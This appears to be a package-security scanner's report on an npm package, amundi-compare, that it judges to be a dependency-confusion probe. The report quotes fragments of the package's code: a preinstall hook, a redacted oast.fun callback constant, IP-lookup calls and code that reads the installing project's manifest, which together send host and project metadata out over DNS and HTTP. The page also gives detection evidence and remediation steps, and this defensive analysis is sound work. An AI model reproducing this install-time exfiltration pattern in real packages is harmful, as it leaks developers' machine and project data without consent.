registry / Data exfiltration / amundi-compare

amundi-compare

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

This report shows the evidence for amundi-compare@999.9.12, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete, unconsented preinstall-time host and project metadata exfiltration to a fixed third-party callback. A stated research purpose does not remove the install-time disclosure.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm preinstall

Impact

Unconsented disclosure of developer/CI and project-identifying metadata.

Mechanism

install-time host reconnaissance and multi-channel data exfiltration

Attack narrative

On npm installation, the preinstall hook runs index.js. It reads the consuming project's manifest and gathers user, home, hostname, local/public/resolver network data, working directory, and project metadata. The package hex-encodes the JSON into DNS queries and also POSTs it over HTTP and HTTPS to a fixed external callback, allowing reporting even through restricted egress paths.

AI rationale

This is concrete, unconsented preinstall-time host and project metadata exfiltration to a fixed third-party callback. A stated research purpose does not remove the install-time disclosure.

Evidence

package.jsonindex.jsINIT_CWD/package.json

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.orgicanhazip.comifconfig.me/ipo-o.myaddr.l.google.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

preinstall executes index.js without user action.
Reads consuming project metadata from INIT_CWD/package.json.
Collects username, home directory, hostname, IPs, and working directory.
Encodes the collected JSON into DNS queries and POSTs it to a fixed callback.

Evidence against

No credential, environment-variable, or arbitrary file-content harvesting found.
No shell execution, payload download, persistence, or destructive action found.

Behavioral surface

Source

CryptoEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 6.69 KB of source, external domains: api.ipify.org, icanhazip.com, ifconfig.me

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js without user action.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = stillm4ddpocs-demo-sprocket@999.9.12 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5ccc01a84753afbf signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stillm4ddpocs-demo-sprocket@999.9.12 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.12 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

36const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepage;

High

Ai Review Evidence

Reads consuming project metadata from INIT_CWD/package.json.

index.jsView on unpkg · L36

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js without user action.

package.jsonView on unpkg · L10

index.jsView file

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

Findings

6 High2 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighTrigger Reachable External Post Callbackindex.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to amundi-compare@999.9.12.

The versions list below shows the verdict for each recorded version.

Avoid installing amundi-compare@999.9.12. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-24 05:30:14.695Z (UTC).

Source advisory published: 2026-08-24 05:06:33.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

999.9.12latestshownMaliciousData ExfiltrationBlockPublishedAug 23, 2026, 10:55 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other data exfiltration packages